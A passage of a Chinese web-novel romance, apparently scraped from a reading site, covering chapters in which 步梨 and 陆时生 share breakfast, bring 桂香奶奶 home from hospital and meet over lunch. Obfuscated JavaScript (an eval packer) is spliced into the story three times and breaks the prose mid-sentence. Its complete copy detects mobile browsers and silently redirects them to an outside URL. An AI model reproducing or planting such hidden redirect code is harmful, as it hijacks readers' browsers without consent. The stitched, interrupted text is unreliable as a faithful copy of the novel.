步梨冷吸一口凉气,暗自感叹现在这小孩真是鬼精着呢。 她真的不是女版柯南吗? 步梨投之怀疑的目光。 朵朵抱着陆时生的大腿不放,步梨想了想也是,这么晚了,把人喊过来,又把人赶走,怪不近人情的。 “要不,你在这儿暂住一晚?” 反正也不是第一次了。 上次陆时生住在这里,也没做出越界之事,甚至给她修好了电灯。 这么一个人间绝色睡在她家,怎么看都算是她占了便宜。 步梨心里竟有些喜悦,又偷瞄了陆时生一眼,然后迅速收回。 这张脸只要看一眼,就跟中了魔法似的,方才镜子里映出陆时生的那张帅气的面庞一直在脑海中挥之不去。 “就是得委屈你睡沙发了,卧室虽然有,但都没打扫。” “没关系,不用了,我回去睡。”陆时生道。 上次是他无意识睡着了,这次醒着,怎么能在姑娘家留宿? “不行!”朵朵喊道,“我想要你住在这儿,我就想要你住在这儿!为什么你不想睡这里?” “朵朵,有句话呢,叫男女授受不亲,你现在还不懂,以后就知道了,反正时生哥哥睡在这里,不太方便。” 步梨不由得撇了撇嘴,心里有些可惜,但也没再挽留。倒是朵朵一直哭喊,无论如何就是不肯放开陆时生,“你们也没有很瘦啊?你们不是好朋友吗?我就经常在阿志家里住啊。” “不行。”陆时生见朵朵这么不听话,表情严肃起来,无奈地看了眼步梨,不料步梨朝他莞尔一笑,说道:“要不就.....” 陆时生严肃道:“小孩子不能什么都依着她,会宠坏的。” 朵朵很少见到他这么严肃,心里慌张,又有些害怕,鼻子一酸哭了起来。 “哭也不能解决问题。”陆时生没松口。 朵朵哭得更伤心了。 步梨看着于心不忍,开口道:“也不算是什么大事,要不就住在这儿吧,你在医院忙了一天,大晚上又跑过来,怪累的,这屋子这么大,多睡一个人也没事啊。” 朵朵乞求地看着陆时生。 陆时生也是没了办法,犹豫了一会儿,最终点头,他看了一眼步梨,见她似乎还挺开心的,没多么困扰,这才放心。 “那打扰了。” “没事,不打扰。”步梨随即去给陆时生找毯子。 陆时生以为自己累到精神恍惚,怎么看着她还有点开心呢? 朵朵的开心非常之溢于言表,脸上的泪痕还没擦干,就坐在陆时生腿上,把吃剩一半的苹果塞给他吃,步梨把毯子抱过来时,她便扭过头来,又问道:“香瓜姐姐,能不能让时生哥哥跟我们睡一张床上?” 步梨一头冷汗,毯子都差点没拿住。 “睡不下吧,有点挤。” 朵朵道:“不挤啊,香瓜姐姐的床那么大,我很瘦的,一点儿也不占地方。” 陆时生正色道:“朵朵,别闹了,跟姐姐上去睡觉。” 朵朵这次还算识趣,听话地跟着步梨回了卧室睡觉。 到底是小孩,精力有限,一躺下朵朵便睡了。 步梨总算松了口气。 现在的小孩,还真是难搞。 13. 她对我... 次日清早,步梨是第一个起床的。 推开窗便是新鲜的空气,远处是开阔的田野和树林。来花溪镇没几天,她就自动顺应了大自然的规律,养成了早睡早起的习惯。 洗漱过后,步梨开始准备早餐。 平时她自己都是随便烤两片面包,再煎个鸡蛋,今天有客人在,不能怠慢了,步梨在厨房思考了一会儿,做了个花式早饭。 陆时生又睡过了头。 这个沙发多半被下了魔咒。 他深陷其中,就是不想起床,甚至在半睡半醒时还做了个梦。 梦里已然天亮,他知道该起床了,却如何都起不来,又好像已经起来了,然后又睡下。 房间里没别的动静,大概是其他人也没起,那他再多睡一会儿也无妨。 陆时生翻了个身,眼皮微微抬了下,有个人在他身边说话,是来催他起床的。 他脑子里闪过一个陌生的画面。 他舒舒服服在一个柔软的大床上,被一个女生生拉硬拽地喊起来要去爬山。 这情景很熟悉,转瞬间再去想,又觉得陌生。她说的哪座山?好像不是花溪镇的山。 那座山上好像郁郁葱葱,又好像一片白,全是雪,皑皑的白雪望不到尽头,温度瞬间冷了下去,好像把周身的血液都冻住,半点都动弹不了。 脑子里不知为何会闪过这个画面,冰冷的感觉也亦真亦幻。 感觉也过真实,陆时生醒了之后,脑子还在回想梦里的情景,但他下意识觉得有人他面前,于是条件反射似的伸手一抓。 步梨全然愣住,被他握住的胳膊感到一阵生疼。 “疼......”她嘶了一声。 陆时生望着她反应了两秒,眼前的情形才从眼中渐渐传进大脑,神思清醒之时,他才意识到刚才是步梨在看他。 她胳膊肘杵在沙发的靠背上,从上俯视,此时被他这么一拉,整个人趴在了沙发背上,差点栽倒过来。 两人的距离近在咫尺。 陆时生躺是躺不下了,又没法起身,只要他稍一往前,就能和步梨贴上。 可步梨一直没动,是被吓傻了吗? 她一手抓着沙发,一手被陆时生抓着,目光里除了惊恐,还有几丝复杂的情绪。 陆时生一时心乱,大脑逐渐恢复清明。 她这是什么眼神? “你要不要放开我?” 半晌后,步梨开口。 陆时生这才意识到,她一直不起身是因为他抓着她。 他放开手的瞬间,步梨将手缩了回去。 陆时生力气大,刚刚被他掐到的地方已经起了一道红印,她皮肤白,红印在上面格外明显。 陆时生看了一眼,沉默片刻,只是淡淡说了句,“不好意思,我警惕性比较高。” 步梨扯了扯嘴角,在心里嘀咕一句,这么警惕干嘛?她又不是坏人。 没想到陆时生会有这么大反应,不过到底是她先看了他,所以此时怪不好意思地收了目光,和声道了句,“没关系。” 陆时生追问:“所以你刚刚在看什么?” “我就是叫你起床。”步梨道。 “叫人起床可不是用手叫的。” 步梨觉得陆时生似乎有些恼。 起床气这么大。 她随口胡诌了句:“我看到脸上沾了个小碎屑,想帮忙弄掉罢了。” 其实刚才她确实有欣赏的成分在,并且心里在想,如果陆时生能当她的模特,那作画的过程又将多了极大一份乐趣。 “看得挺仔细。”陆时生沉沉说了句,然后转身去了洗手间。 步梨哑然。 她确实看了挺久,已然有些无礼。 方才她做好了饭,来喊陆时生起床的时候,无意被他的睡颜吸引到。 陆时生应该就算是耐看那一型的,越看越有韵味。她从小到大身边形形色色精致的男生有不少,但都是美丽的皮囊千篇一律,没多久就会厌了。印象里倒是有一个人,皮囊与灵魂兼备,只可惜没见过几面,步梨印象里只能勉强勾勒出一个模糊的身影,以后也不会见到了。 也不知道是不是她大早起精神有些恍惚,记忆里的身影居然和眼前的人有几分重合,步梨惊了一下,回过神来时,是被陆时生拽回来的。 “一会儿来吃饭。”她佯装淡定地喊了句,转身时,脸上浮起一丝因为局促而泛起的红晕。 咔嚓一声。 步梨听到陆时生把浴室的门给锁了。 她怔愣片刻,收回目光,转身上了二楼去把朵朵给薅起来。 今天她煮了青酱海鲜意大利面,用了上次几个孩子送来的海鲜,红白点缀在绿色的意面上,品相非常不错,除了有些华而不实,摆盘就花了她大半天功夫。 不过步梨乐在其中,为了招待客人,还特意用了新的餐具。 陆时生坐到餐桌前时,人还没有从方才的梦里脱离出来,那种感觉真切,又模糊。 还有步梨。 当时她与他离得好近,已经超出了他的安全距离,此刻坐在这儿,他似乎还能闻到她身上淡淡的茉莉香。 他的大脑不受控制地开始胡思乱想。 朵朵则处于半睡半醒状态,坐在椅子上还在打瞌睡。 步梨见这一大一小两个人都呆呆地坐在桌旁没动筷子,以为他们拘束,便好意地提醒道:“吃饭呀,别拘着,就跟在自己家里一样。” 朵朵这才清醒几分,撑着眼皮去看盘子里的食物,她愣了愣,问道:“姐姐这是什么?” “这是姐姐亲手做的青酱海鲜意大利面,尝尝。” “意大利是什么?” “就是欧洲的一个国家。” “那这就是西餐了。”朵朵觉得这个面很漂亮,看了一会儿才舍得下口,结果大失所望。原来就是比较硬而且没什么味道的面条。 陆时生也动起了筷子,他时不时看向步梨一眼,她吃得很认真,除了说几句招待客人一贯用的客套话,全程也没往他这边看几眼。 那她刚刚到底是什么意思呢?喜欢他?不太可能,她一个城里来的大小姐,怎么可能看上他这种穷光蛋?还是想和他玩玩?但看她又不像是那种肤浅的人。 或许是自己多想了,人家只是单纯地想帮他弄掉脸上的碎屑。 步梨食量小,几口吃完了早餐,转身去厨房拿来了一个保温盒,里面已经装满了,她将盒子交给陆时生,嘱咐道:“这是给桂香奶奶的,里面是我饺子和鸡蛋,她胃不好,不适合吃这个面,所以我就简单煮了点东西。” 陆时生点点头,“多谢。” 他咽下了嘴里没什么味道的面,见朵朵一直盯着保温盒。 此时此刻,他和朵朵脑子里产生了同样的想法:有点想当不孝子,抢桂香奶奶的饭吃。 “桂香奶奶大概还要几天才能出院?”步梨问道。 “哦。”陆时生抬头,“今天再输一天液,就能回来了,老人家嫌医药费贵,医院住着又不舒服,本来昨天就吵着要回来的,我强行把她留下了。” 步梨突发奇想,“我能不能跟你一块去接桂香奶奶回家?” 陆时生愣了愣,疑惑她为什么要提出这个请求。 步梨和桂香奶奶也没什么感情可言吧,她居然要去接她老人家回来?难道不是冲着桂香奶奶去的,而是想跟他多待一会儿? 他还没开口,步梨便又说道:“昨天我听崔胖说,县医院的旁边有家餐馆特别好吃,叫海街小馆,我想顺便去尝尝。” 陆时生僵了僵,脸上带着不太自然的笑,似乎是为难,又或者是疑惑,总之是一种很复杂的表情。 步梨也不知道陆时生在想什么,她没去过几次县城,就想尝尝当地好吃的餐馆,没什么错吧,有必要做出这种表情吗? 又不耽误接桂香奶奶回家,有什么的? “好。”陆时生答应。 “要一块去吃吗?”步梨出于礼貌,顺道邀请。 “......不了。” 陆时生犹豫一会儿,说道。 步梨点点头。 客套话而已。 而且本地人大概对当地的菜没什么兴趣吧。 那她便一个人去吃,也自在。 ...... 吃完饭,步梨和陆时生把朵朵送到学校,之后两人一块回了望潮木工坊取车。 期间还来了几个买东西的客人,陆时生麻利地帮他们结完了账,便准备出发。 步梨留意到,陆时生算账极快,打折的商品他脑子里一下就能将价格算出来。他有时候会按两下计算器,有时候直接心算,也无论商品多少,没个规律。 刚才的大婶买了两大包零零碎碎的木质玩具给她孙女,他反而没用计算器,很快就帮人结了账,后面来的人买了三根汤勺和一个杯垫,他倒是象征性地按了几下。 步梨忍不住问:“你算账这么快,怎么有时候还用计算器?” “看心情,有时候懒得动脑。”陆时生道。 他有时候会平白无故头疼。 好像是旧伤,也记不得是什么时候受的。 崔胖今天准时到了店里,他接班后,陆时生和步梨出发去了县城医院。 天气晴朗,湛蓝的天空与大海无缝衔接,车子行驶在开阔的沿海公路上,步梨开了车窗,潮湿的海风扑面而来。 “城里有花店吗?”步梨回头问。 “有吧。”陆时生含糊道。 步梨打开地图软件搜了下,找到一家花店,“先去买束花吧。” “给谁?”陆时生问。 他飞速看了一眼步梨。 “你说呢?”步梨暗暗皱了皱鼻子,这还用问? “不用了。”陆时生道。 “用。”步梨坚持。 “一定要送?”陆时生确认似的问。 步梨道:“我想送。” 陆时生没说话,默默开车,一路跟着导航开到了步梨说的花店。路边不能停车,陆时生便坐在车里等步梨,没过一会儿,便见到步梨捧着超大一束花从店里走出来。 她把花放在了车的后座上,然后回到副驾驶坐好。 两人开车到了医院,步梨下车,没忘把后座的花一同带上。 “我看桂香奶奶院子里种了很多花,她肯定很喜欢花。” 陆时生颇有些不理解,“这么大一捧花,这会儿抱上去,下午出院还得抱下来,不够折腾的。” 步梨满不在意他的话,“开心就好啊。” 她一路走在陆时生前面,到了病房,桂香奶奶正在闭目养神,听到有人进来,睁眼往门口望去。 她的目光在步梨身上顿了两秒,很快猜到进来的漂亮小姑娘是谁。 “哎呦,这是步梨吧,我听小陆说过你,就是你帮忙照顾朵朵的,丫头,可辛苦你了。” 步梨笑着送花,“不辛苦,朵朵非常可爱,我挺开心的。” 桂香奶奶捧着花,乐得合不拢嘴,“我这一把老骨头了,住两天院还让你摘这么一大束花,这包得真好看,花不少时间吧。” 步梨道:“没用多久,花店给包的呀。” “啊?”桂香奶奶一愣,“这是买的?” “嗯呐。” “这得不少钱吧?” 步梨咧嘴一笑,朝桂香奶奶比了个三,“这个数。” “啥?这么贵?三十块钱得买多少鸡蛋啊!”桂香奶奶听了大惊,连连啧了好几声,“不过你这花儿真是漂亮,比我院子里的花好看多了。” 步梨哈哈笑了两声。 海边的盐碱地比较多,植物生长并不茂盛,只有芦苇和杨柳树扎根生长。但花溪镇紧邻荟西小河,淡水流过,带来了不少养分,路边是大片绿色的稻田,植物也生长得很好,是难得的鱼米之乡。 桂香奶奶院子里的花草尤其茂密,石墙边种满了一畦亭亭玉立的山茶,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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步梨收了笑,走在女孩身后。 这条街很好看,两边的店铺都被刷成蓝白色调,和大海豁然开阔的氛围完美匹配,走着走着也会遇到几个非主流的叛逆店主,把门面装修成鲜艳的粉色或是橘黄,再摆上丰富繁茂的绿植,豪放又不失细节的装饰。 步梨时间很充裕,她拿着相机一边拍照一边往她要去的小店走,不到一公里的路程她走了快半个小时才到。 进去后,那两名女生居然也在这里。 同样的目的地。 短发女孩抬头看她时,步梨朝她笑了笑,坐在了她们旁边一人位的小桌上。 这次,女孩没扭头,而是也朝她笑了一下。 步梨点了两个菜加一个甜品,等上菜的期间,两名女孩一直在看她,还小声讨论几句,步梨转过头去问道:“有事吗?” 丸子头有些拘束,犹豫着没开口,倒是短发女生比较健谈,开口问道:“不好意思,可以麻烦你帮我们拍张照片吗?” “好啊,”步梨爽快答应。 女生欢喜道:“太谢谢啦!” 丸子头腼腆地跟着说了声:“谢谢。” 步梨接过女生的手机,往后退了几步寻找最佳视角,“你们想要什么感觉?” 短发女生迅速伸手摆出了一个耶,“要那种自然清新活力四射的感觉!” 丸子头女生有些不好意思,忙说道:“随便拍拍就好了。” “没问题。”步梨道。 她们的座位靠窗,外面便是清新亮丽的小街,正好可以透过窗户取景,步梨根据周围的环境,脑海里想象出了一个画面,还有画面该有的色调、氛围。 “不介意我调一下参数吧?” “可以,姐姐你是专业的吗?” “业余。”步梨简单地调了下色温色调,又教两人摆了姿势,然后利落地按下快门,咔咔拍了好多张。 “好啦,你们看一下。” 步梨归还手机。 她刚坐回到位置上,就听到两名女孩的惊叹。 短发女孩赞不绝口,“姐姐你好专业呀,你是不是来这边拍照的旅行博主呀?” 步梨摇摇头。 “我是本地人。”步梨说完,见女孩露出不信的眼神,步梨又补了一句,“真的,我是花溪镇的村民,花溪镇去过吗?” 丸子头女生说道:“没有,不过我看攻略里有推荐,是个小众景点。” 短发女生好奇地问道:“那边远吗?有什么好玩的?” “离这儿不远,很漂亮的,欢迎去村子里转转。”步梨想了想花溪镇的特色,脑子里居然冒出望潮木工坊的场景——男人懒洋洋地坐在柜台前帮人结账。 步梨灵机一动,盛情推荐道:“别看只是一个小镇,那儿的村草可帅了,号称花溪镇一枝花。” “姐姐有照片吗?” 提起这个,连腼腆的丸子头都十分感兴趣。 “没有。”步梨可惜地摇摇头。 陆时生朋友圈里一条动态也没有,也不知道是把她屏蔽了,还是没发过。 短发女生哀叹道:“好可惜啊,我们明天就走了,这次来应该没机会去花溪镇了。” 步梨见她们失落,和声安慰道:“害,其实也就一般啦,脸是帅的,不过穿搭有点土。” 两名女孩笑了两声。 步梨低头喝了口温水,不知何时,她感觉一道阴影压了下来。 本以为是服务员来上菜的,但她眼前出现一个男人的腰部,一只修长的手把椅子往后拉了半步,然后在她面前坐下。 步梨惊愕抬头,见对方一脸淡然,就好像是跟她一块来的,刚刚只是出去上了个洗手间,现在回来了。 陆时生理了理衣袖,一番吃饭前的准备过后,很自然地开口问:“点菜了吗?” 步梨却两眼一黑。 14. 天上云和地上泥 陆时生若无其事地看了会儿菜单,喊来服务员,加了份餐具,顺便又加了道菜。 “不是说不来了?” 步梨有些心虚,不知道刚刚陆时生有没有听到她们的谈话。 果然不能在背后谈论他人。 她转过头,两名女生给她递来了个眼神:是他吗? 步梨轻微点头,小心克制地用口型回了个是。 “临时饿了,来吃点。”陆时生回答道。 “哦。” 空气里安静了一会儿,陆时生突然开口问:“刚刚你们在聊什么?谁帅?谁土?” 语气淡定。 “你帅,我土。”步梨笑呵呵地说道。 她在内心里进行了深刻的反思,贬低别人来安慰他人,委实不可取。 讲实话,她并没有觉得陆时生土。 没有西装革履的约束,从头到脚都是简单干净的打扮,有种返璞归真的自然美感。 清冷俊朗的五官,简约淳朴的气质,众里难寻。 “哦。”陆时生轻哼了句。 旁边两名女生的目光时不时飘过来,尴尬到极点后,步梨干脆选择大方承认,“介绍下,他就是大名鼎鼎的花溪镇一枝花。” 陆时生皱起眉头,没等他说话,短发女孩一脸秒懂的样子,笑道:“原来花溪镇一枝花是姐姐的男朋友啊。” 步梨摇头解释,“就是普通朋友。” “是吗?”两人明显不信。 步梨重重点头。 “好吧。”短发女生没再调侃,“不过你们挺般配的。我们吃完就先走啦,摄影师姐姐。” 步梨对摄影师姐姐这个称呼很受用。 点的菜陆续上齐,陆时生边吃,边注意到步梨嘴角带着笑,显然是开心。 “这么开心?”他道,“因为她说我们般配?” “不是,因为她刚刚喊我摄影师。” 陆时生感觉嗓子一噎。 “我们很般配吗?”步梨呆呆问了句。 陆时生抿抿嘴,“当然。” “一点也不。” 非要一句话分两句说。 他们完全就是两个世界的人,只是偶然有了一个交点,将来注定是朝着两个方向行进。 他悄悄看了眼步梨,她的确很漂亮,纯真,就跟天上的云一样,没沾染一点尘埃。 有人生来就是天上云,有人却只能是地上泥,就算借着风飘起来,也够不上云的高度。 ...... 选定来这家饭店,步梨原是计划悠闲地打卡享受的,因为陆时生的临时加入,又发生了方才那一番对话,吃饭时氛围有些尴尬,但两人都若无其事,全程淡定地吃完了饭,然后回医院去接桂香奶奶。 办理完出院手续,桂香奶奶高高兴兴出了医院,步梨陪着她坐在车后座,回到花溪镇时已经下午三点钟。 桂香奶奶找来一个花瓶,跟步梨一块仔仔细细地把花插在瓶子里。 桂香奶奶对花草一类的东西非常爱护,她年轻时就喜欢在院子里种些花花草草,让小院看起来生机勃勃,但她对插花不太懂,步梨便教她。 桂香奶奶很有耐心地学习,插完花又爱不释手地摸着花瓶,感叹道:“我这辈子还从来没收到过别人送我花儿呢,只可惜过两天就该枯喽。” 步梨望了会儿,想出一个办法,可以把美丽和生命永远定格在这一刻。 “桂香奶奶,要不我帮你跟这些花儿合个影?” 她拿相机拍了张照,照片里,桂香奶奶满眼慈爱地看着她得到的第一份花束礼物,连眼角的鱼尾纹里都溢出来了幸福感。 考虑到桂香奶奶不会用智能手机,步梨便打算把相片打印出来,之后再送给她。 从桂香奶奶家出来,步梨和陆时生回到了望潮木工坊,步梨想起自己有快递没拿,便去货架上找自己的快递,正好回去时带着。 这时门口有两个人进来。 步梨下意识地想要招呼客人,正要开口,想起自己也是客人。 她转身去了快递货架间找自己的快递,等陆时生出来后让他自己招呼客人。 门口两个人的对话隐隐飘过来。 “菲姐,你也来买东西?” “冯雅啊,好久没见了啊。” “前两天刚去过你的炸鸡店。” “是吗?我记性不好。陆老板呢?小陆——” 菲姐喊了两声,屋里没人回应,冯雅便道:“大概是出去了吧,咱们先选呗,崔胖应该在那边整理快递吧,一会儿把他喊过来结账就成了。” 菲姐不乐意地道:“我不是来买东西的,我来要我的车。” “车?时生哥借了你的车?” 菲姐指了指门外,“对啊,那不是门口停着呢吗?都好几天了也不去还,还得等着我亲自来取。” 她说完,双手抱肘靠在柜子旁等。 冯雅在货架上拿了个木梳,对着镜子梳了两下头发,听到菲姐问她:“冯雅,今年快二十了吧?听说交男朋友了?” 冯雅道:“没啊,我才十九,不着急交男朋友。” “哦。”菲姐看向别处,说道,“还以为你喜欢陆时生呢。” 冯雅也并非省油的灯,脸上的表情僵了一会儿后,直接点头承认,“对啊,你不喜欢吗?” 菲姐笑出声,“十几岁的小孩,知道什么叫喜欢?十九岁的话,马上就得高考了吧,等考上大学,在学校里找一个年轻的小男朋友,谁还愿意回这小镇子上?” “我没上学了,也不去别的地方。”冯雅明显不悦,“菲姐,听说你前夫的海鲜加工厂今年赚了不少钱?” 一提到前夫,菲姐脸上的笑容立刻收了起来。“提不相干的人干嘛?” 陆时生从屋子里走出来,听到两个人聊天,又往四周瞧了瞧,没见到步梨的人。 “就你们俩?”他道。 菲姐皱了皱眉:“什么就我们俩?嫌客人不够多?” “没有,买什么?”陆时生转头,见到货架间的步梨。她微抬着头,眼神含了些别样的笑容,看着陆时生,像是发现了他的什么秘密。陆时生不用想也知道她定是听到了菲姐和冯雅的谈话。 等菲姐和冯雅都走了,步梨也找到了自己的快递,回到自己家里休息。 晚上她按时去接了朵朵放学,原本想让朵朵再在家里住一晚上,但朵朵一听说奶奶出院了,便立即要回家去住,离开望潮木工坊三个小时后,步梨又返回了这里。 陆时生这个老板又不知道跑哪去了,只有崔胖还在隔壁的屋子整理快递,步梨无所事事了地转了两圈,忽然觉得自己在无意识的情况下做出了多此一举的事情。 没有要拿的快递,也没有要买的东西,就是习惯性地要在这儿多走几步。 步梨没打算喊陆时生,转身正要走,见到一个五十来岁的大叔进来买东西。步梨想到自己回家也没什么事,便多待了会儿。 她热情招待道:“叔叔,您要买什么?” 大叔见她打招呼,明显愣了一下,“买东西?你是哪家的闺女?” 步梨也有点懵,看样子他不是来买东西的,或许是住在附近的乡亲。 “叔,我刚来这儿不久。” 大叔问:“时生招你过来的?” 步梨点点头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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步梨太阳穴突突了两下,悄悄瞪了他一眼,又转头朝陆望潮笑道:“我看明天天气挺好,我想趁着晴天温度也刚好,出去写生。” 崔胖没动,外头问:“写生是啥?” 步梨道:“先保密,不早了,我先回家了。” 她道了别,匆匆离开望潮木工坊。 步梨溜之大吉之后,陆时生才慢悠悠地从房间走出来。 陆望潮见到儿子后少有地乐了一下,一副看破一切的眼神,冷哼一声,“臭小子,我不在这几天,过得挺多姿多彩啊!” “是挺多姿多彩,”陆时生回想了一下,从步梨来的那日算起,也不过一周的时间吧,感觉未来十几年的事好像都来到了这几天凑热闹,“我就跟热锅上的蚂蚁,焦头烂额了都。” “什么热锅上的蚂蚁?我看你像求偶的孔雀!美得很!”陆望潮虽没有太过明显地打量陆时生,但刚刚那快速一瞥,就已经把该看的都看到了眼里。 他这个儿子跟他一样,糙得很,从前可没穿过这种浅色系的衣服! “跟你老子说实话,是不是交女朋友了?” 陆时生颇为无奈,“爸,你才出去几天?这么短的时间我去哪交女朋友?” “呵,嫌你老子回家妨碍你了?那下回我多出去几天。” 陆望潮堪称顶级理解大师。 陆时生不想跟他废话,转身往屋里走,顺道留下一句,“吃饭。” 崔胖一听开饭,急忙跟上去,追到陆时生,笑嘻嘻地说:“生哥,你到底喜不喜欢香瓜姐姐啊?” 陆时生瞪他一眼,警告道:“别瞎说。” 崔胖撇撇嘴,摊手道:“那你要不喜欢的我,我就追香瓜姐姐喽。” 陆时生脚步一顿,直接锤了崔胖一个脑袋瓜,“痴心妄想!别想那有的没的!” 崔胖在原地郁闷了一会儿,着实想不明白他怎么就痴心妄想了,虽然他没钱,可他年轻力壮啊,只是身材有点胖而已,但胖子都是潜力股,只要他努力,就可以变得比陆时生还帅。 陆时生你等着吧! 15. 去陆家做客 步梨回到家,第一件事是网购了一台相片打印机。 快递送到望潮木工坊,是一个巨大的箱子,陆时生不知道她买了什么,搬了一下,挺沉,想着步梨那小胳膊小腿的也搬不动这么大的箱子,便主动提供了送货□□。 大清早,陆时生便出了门,把箱子绑在电动车后座上,一路到了绿柳街。 步梨刚吃完早饭,穿了身松垮的居家服,头发也披散着。不过看到门口的是陆时生,她便也随意了些。 一个大箱子蹲在陆时生脚边,步梨还以为他是来送温暖的,心想着这里真是蛮讲究人情世故的,她也没做什么,不至于带这么多东西来感谢她吧。 陆时生叹了口气,懒洋洋地开口,“又买了什么?这么大一个箱子。” 步梨顿悟,这才想起她前两天买了台打印机。 她嘴角扬起,说道:“保密,帮我搬进来吧。” 陆时生笑了笑,“你倒是不客气。” “我请你喝果汁啊。” 步梨的动作十分迅速,陆时生刚直起身子,眼前便出现步梨递过来的果汁。 他接过,一饮而尽,步梨见他一大早就做体力活动很是辛苦,忙又给他倒了一杯。 步梨道:“新鲜的橙汁,刚榨好,你是不是踩点来的?” “没有。”陆时生道。 刚才因为太渴,陆时生都没有细细品尝味道,这会儿才看到步梨给他的是一杯新鲜的橙汁,黄灿灿的颜色,细看还有果肉飘在其中。 这个时节的橙子很贵,但步梨一下子买了好多。 对他而言,喝新鲜的果汁是很奢侈的一件事。 这次他小口抿了一口,果然很新鲜。 他在沙发上坐着休息,步梨迫不及待地把他搬来的箱子打开,陆时生转过身子,倚在沙发背上看过去,是一台很大的打印机。 “买这个做什么?”他不解地问。 步梨说道:“我给桂香奶奶拍了张照片,但是她没有智能手机,我只能打印出来之后给她了。” 陆时生愣了愣,“去县城打印一张就行了,何必这么大费周章?” 步梨摇摇头,“这台照片打印机我日后还有用的。” “做什么?” 步梨神秘道:“到时候你得来帮忙,毕竟我在你家店里也打工了很多次。” “你要开照相馆吗?”陆时生一下猜到。 “差不多吧,我想开一家写真馆。” “有区别吗?” “你有拍过写真吗?” 陆时生摇摇头。 步梨解释道:“其实跟照相馆差不多,不过多了些服务,服装、造型、摄影、修图全流程贴心服务,你觉得怎么样?” “还行吧。”陆时生敷衍道,“这不就是跟拍婚纱照似的?” 他对写真不了解,只是听着她说的感觉挺复杂,前期投入的成本应该也不会低,不过像步梨这种家境优渥的公主,自然是想做什么就做什么。 他生硬地转了话题,“今天中午,如果你还没准备饭菜的话,可以来我家里吃,我爸邀请的。” “叔叔邀请我?”步梨先是一愣,后又走过来,眯着眼睛笑问,“你不邀请我?” 陆时生不吃她这套,淡定地说:“我们是一家人,有一个人邀请就够了。” 还没得到步梨的答案,他又问:“来不来?” 步梨摇摇头,“还是算了吧,这么临时,我都没准备。” “什么也不用准备。” “那不行,对了,陆时生,你有空吗?”步梨心血来潮地问。 陆时生看她,“又有事?” 步梨从兴致勃勃地从转身去房间拿来了一个本子和一支笔,递到陆时生前面。 “这道题你会做吗?” 陆时生皱了下眉头,“什么题?” “数学题。” 陆时生拒绝道:“我做这个干嘛?” “你不是有空吗,就做一下嘛。”步梨央求道。 陆时生看了一眼题目,说:“这是大学的题目吧。” 步梨点点头,他说得没错,这是步梨上次找沈思筝要来的高等数学,沈思筝的男友是江北大学数学系的年级第一名,他给的题肯定都是有难度的。 步梨惊叹,心想道,陆时生肯定是上过大学的,不然怎么一眼就知道这是大学的题目? 在她期待的眼神下,陆时生将笔一扔,重新拿起水杯来,随口道:“不做。” “为什么?” “不会。”陆时生干脆道。 “你骗人。那你为什么一眼就能看出这是大学的数学题目?” 陆时生淡定地解释:“我上过高中,这题目不是高中的,更不是初中和小学,那肯定是大学的。” 他说得倒也有几分道理,但步梨还是不信他不会做。 她总觉得陆时生不像表面上看起来那么简单,他好像有很多故事,又好像很纯粹,莫名带有一种超脱红尘的气质。 无奈之下,步梨只得说道:“如果你帮我解开这道数学题,我就答应你的邀请,中午去你家吃。” 陆时生挑眉一笑,“不来也没事,别勉强。” 步梨这才反应过来,她去陆时生家吃饭明明是她占了便宜,刚才她还拿这件事来当做与他交换的条件,委实有些可笑。 步梨有些无奈,同时又觉得尴尬。 “好吧,不做就算了,就当你不会吧。”她隐隐感到失落。 陆时生却突然改了主意,“行吧,答应你了,中午来家里吃饭。” 步梨不明白他怎么转变得这么快,正要问,陆时生自己开口说道:“就当是帮崔胖了。” 步梨更不明白了,眉头拧成麻绳,“跟崔胖有什么关系?” “你要是能来家里吃饭,最开心的是他,”陆时生顿了顿说道,“你得做好心理准备,那小子说想要追你。” 步梨一口水差点喷出来,但很快又恢复平静,淡定地说:“挺好的。” 这次换陆时生表情复杂。 “你觉得......可以?” 步梨耸耸肩,“怎么不可以?我看他条件还行。” 陆时生笑出声,“没想到你要求这么低。” 步梨数着手指头说道:“对啊,真诚、善良、为人正直,积极乐观,就很不错了,而且崔胖身高还行,减减肥模样应该还不错,重点是,还年轻。” 陆时生收了笑容。 原来喜欢年轻的。 步梨见到他的神情,还以为他当真了,急忙解释道:“我开玩笑的。” 这次轮到陆时生反问,“怎么?崔胖不好?” 步梨摆摆手,“一个小孩,这么早谈什么恋爱?” 她转移话题道:“今天中午吃什么?” 陆时生道:“能吃海鲜吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15399942|168336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>步梨疯狂点头。 陆时生道:“那就好,今天是海鲜大餐。” “那做题吧。”步梨还想着数学题的事,“要不要来这边?” 她是指餐桌那里,坐那边会比较宽敞,可以营造一个舒适的做题环境。 陆时生说:“不用。” 他只拿了笔记本,笔都没拿就往沙发上一靠,纯靠眼睛盯着那道题,过了几分钟,他说:“解出来了,用写吗?” 步梨点点头。 陆时生没再抗拒,很听话地拿了笔在纸上写了详细的解题步骤,之后交给步梨,说道:“行了吗?” 步梨怀疑他在乱写敷衍她,也不知道他写的对不对,一串串的数学符号她只看得头疼。 “辛苦了。”她殷勤地接过本子。 时钟响了几声,上午10点。 中午要去别人家里吃饭,步梨总不能空手过去,可带点什么好呢? “陆时生,你会做蛋糕吗?”她心中有了想法。 “不会。” 步梨大喜,总算找到了陆时生不会的事情。 “没事,你来给我打个下手就行。” 步梨转身去到厨房,把原材料一一翻找出来。 “你会做蛋糕?”陆时生惊讶地看着她。 